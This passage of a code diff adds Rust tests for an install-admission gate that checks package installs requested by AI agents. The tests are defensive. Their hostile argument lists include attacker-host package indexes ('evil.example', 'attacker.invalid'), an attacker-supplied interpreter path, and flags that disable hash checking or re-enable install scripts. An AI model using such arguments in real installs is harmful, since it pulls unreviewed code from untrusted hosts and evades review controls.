executable.to_string(), + "--py".to_string(), + INTERPRETER.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot] + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()) + ); + } +} + +#[test] +fn post_command_ambiguous_python_prefix_must_not_claim_interpreter_authority() { + for executable in ["pip", "pip3"] { + for option in ["--py", "--pyt", "--pyth", "--pytho"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "install".to_string(), + option.to_string(), + INTERPRETER.to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "{executable} post-command {option} is ambiguous with --python-version and must not be represented as verified interpreter authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()) + ); + } + } +} + +#[test] +fn option_terminated_python_like_operand_must_not_claim_interpreter_authority() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "install".to_string(), + "--".to_string(), + "--python".to_string(), + INTERPRETER.to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "tokens after -- are positional grammar and must not be reported as interpreter authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()) + ); + } +} + +#[test] +fn exact_post_command_python_selector_remains_causal_and_does_not_hide_extra_package() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "install".to_string(), + "--python".to_string(), + INTERPRETER.to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + assert_eq!( + admission_decision(&policy, &intent).reason_codes, + vec![ReasonCode::AlternateInstallRoot] + ); + + intent.argv.insert(5, "unapproved-extra==9.9.9".to_string()); + assert_eq!( + admission_decision(&policy, &intent).reason_codes, + vec![ + ReasonCode::AlternateInstallRoot, + ReasonCode::ArtifactNotApproved, + ] + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-python-interpreter-parser-phase".to_string(), + policy_revision: "2026-09-12.3".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-python-parser-phase-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_python_interpreter_post_command_contract.rs b/crates/agent-artifact-admission/tests/pypi_python_interpreter_post_command_contract.rs new file mode 100644 index 00000000..febd95c5 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_python_interpreter_post_command_contract.rs @@ -0,0 +1,158 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; +const INTERPRETER: &str = "/tmp/attacker-python"; + +#[test] +fn post_command_exact_pip_python_value_is_option_grammar_not_an_artifact() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "install".to_string(), + "--python".to_string(), + INTERPRETER.to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot], + "{executable} post-command --python must consume its interpreter value as General Option grammar rather than manufacture an artifact finding" + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), + "policy normalization must retain the exact submitted argv as audit identity" + ); + } +} + +#[test] +fn post_command_attached_pip_python_keeps_the_reviewed_package_operand_visible() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "install".to_string(), + format!("--python={INTERPRETER}"), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot] + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()) + ); + } +} + +#[test] +fn post_command_pip_python_selector_still_exposes_a_real_extra_package() { + for executable in ["pip", "pip3"] { + for python_argument in [ + vec!["--python".to_string(), INTERPRETER.to_string()], + vec![format!("--python={INTERPRETER}")], + ] { + let (policy, mut intent) = approved_pip_install(executable); + let mut argv = vec![executable.to_string(), "install".to_string()]; + argv.extend(python_argument); + argv.extend([ + ARTIFACT_ARGUMENT.to_string(), + "unapproved-extra==9.9.9".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]); + intent.argv = argv; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ + ReasonCode::AlternateInstallRoot, + ReasonCode::ArtifactNotApproved, + ], + "consuming interpreter option grammar must not hide a genuine second package operand" + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-post-command-python-interpreter-authority".to_string(), + policy_revision: "2026-09-12.2".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-post-command-python-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_registry_authority_traceability.rs b/crates/agent-artifact-admission/tests/pypi_registry_authority_traceability.rs new file mode 100644 index 00000000..eddcd049 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_registry_authority_traceability.rs @@ -0,0 +1,16 @@ +#[test] +fn direct_pip_registry_authority_keeps_causal_security_traceability() { + let source = include_str!("../src/pypi_registry_authority.rs"); + + for reference in [ + "https://pip.pypa.io/en/latest/reference/requirements-file-format/", + "https://peps.python.org/pep-0503/", + "https://peps.python.org/pep-0493/", + "https://doi.org/10.6028/NIST.SP.800-218", + ] { + assert!( + source.contains(reference), + "direct-pip registry/trust authority must retain causal documentation reference: {reference}" + ); + } +} diff --git a/crates/agent-artifact-admission/tests/pypi_requires_python_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_requires_python_authority_contract.rs new file mode 100644 index 00000000..cbe499fe --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_requires_python_authority_contract.rs @@ -0,0 +1,85 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_direct_pip_install_cannot_disable_requires_python_compatibility() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding a Requires-Python override" + ); + + let mut hostile = control_intent; + hostile.argv.push("--ignore-requires-python".to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} --ignore-requires-python disables publisher-declared interpreter compatibility and must fail closed" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::MissingSafetyFlag], + "the denial must be causal to the explicit compatibility-safety override" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-requires-python-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_target_abbreviation_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_target_abbreviation_authority_contract.rs new file mode 100644 index 00000000..44a378be --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_target_abbreviation_authority_contract.rs @@ -0,0 +1,99 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_direct_pip_install_cannot_select_target_through_optparse_abbreviation() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding target authority" + ); + + let mut hostile = control_intent.clone(); + hostile + .argv + .push("--ta=/tmp/wardnet-pip-target".to_string()); + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} --ta=... is pip's accepted unambiguous --target prefix and must not escape the reviewed install root" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "{executable} --ta=... must carry stable alternate_install_root evidence; got {:?}", + decision.reason_codes + ); + + let mut ambiguous = control_intent.clone(); + ambiguous + .argv + .push("--t=/tmp/wardnet-pip-target".to_string()); + let ambiguous_decision = admission_decision(&policy, &ambiguous); + assert_eq!( + ambiguous_decision.decision, + DecisionKind::Allow, + "Wardnet must not invent ambiguous pip optparse prefix --t as --target" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-12.target-abbreviation-red".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-target-abbreviation-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_trusted_host_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_trusted_host_authority_contract.rs new file mode 100644 index 00000000..1f5b9cd5 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_trusted_host_authority_contract.rs @@ -0,0 +1,84 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn accepted_pip_trusted_host_abbreviation_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push("--tr=attacker.invalid".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let pip's accepted --trusted-host abbreviation inherit approved artifact authority" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "pip --tr must be classified as caller-selected transport trust authority: {:?}", + decision.reason_codes + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-trusted-host-authority".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-trusted-host-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs new file mode 100644 index 00000000..8c8846b7 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs @@ -0,0 +1,89 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_cannot_inherit_unreviewed_upgrade_authority() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding upgrade authority" + ); + + for upgrade_option in ["-U", "-Uv", "-Uvv", "-vU", "-qU", "-UI", "-IU", "--upgrade"] { + let mut hostile = control_intent.clone(); + hostile.argv.push(upgrade_option.to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {upgrade_option} requests package mutation outside the reviewed artifact authority and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} {upgrade_option} must include the stable artifact_not_approved reason" + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-upgrade-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/safety_flag_contract.rs b/crates/agent-artifact-admission/tests/safety_flag_contract.rs new file mode 100644 index 00000000..81935140 --- /dev/null +++ b/crates/agent-artifact-admission/tests/safety_flag_contract.rs @@ -0,0 +1,192 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, + admission_decision, +}; + +fn approved_npm_policy() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-09-02.1".to_string(); + policy.allowed_executables = vec!["npm".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }]; + policy +} + +fn approved_pip_policy() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-09-02.1".to_string(); + policy.allowed_executables = vec!["pip".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "pypi".to_string(), + name: "example-package".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "Example".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "example-package==1.2.3".to_string(), + }]; + policy +} + +fn approved_pip_intent(extra_argument: &str) -> InstallIntent { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + extra_argument.to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + intent +} + +#[test] +fn npm_boolean_overrides_cannot_reenable_install_scripts() { + let policy = approved_npm_policy(); + + for conflicting_flag in ["--ignore-scripts=false", "--no-ignore-scripts"] { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + "--ignore-scripts".to_string(), + conflicting_flag.to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{conflicting_flag}"); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "{conflicting_flag}" + ); + } +} + +#[test] +fn option_terminator_cannot_hide_required_safety_flags_from_the_package_manager() { + let policy = approved_npm_policy(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + "--".to_string(), + "--ignore-scripts".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "forbidden_command"), + "option terminator must not create a second parser authority: {:?}", + decision.reason_codes + ); +} + +#[test] +fn pip_attached_short_options_cannot_escape_reviewed_install_capability() { + let policy = approved_pip_policy(); + + for (argument, expected_reason) in [ + ("-t/tmp/wardnet-test-target", "alternate_install_root"), + ("-ihttps://evil.example/simple", "alternate_trust_root"), + ("-fhttps://evil.example/wheels", "alternate_trust_root"), + ] { + let intent = approved_pip_intent(argument); + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{argument}"); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == expected_reason), + "{argument}: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn pip_boolean_override_cannot_disable_required_hash_checking() { + let policy = approved_pip_policy(); + let mut intent = approved_pip_intent("--no-deps"); + intent.argv.push("--no-require-hashes".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "a contradictory --no-require-hashes must prevent integrity mode from satisfying admission: {:?}", + decision.reason_codes + ); +} + +#[test] +fn uv_hidden_boolean_override_cannot_disable_required_hash_checking() { + let mut policy = approved_pip_policy(); + policy.allowed_executables = vec!["uv".to_string()]; + + let mut intent = approved_pip_intent("--no-deps"); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-require-hashes".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "uv's hidden --no-require-hashes overrides --require-hashes and must fail admission closed: {:?}", + decision.reason_codes + ); +} diff --git a/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs new file mode 100644 index 00000000..67f3a267 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs @@ -0,0 +1,175 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_without_system_package_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_break_system_packages_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--break-system-packages".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv authority to modify an externally 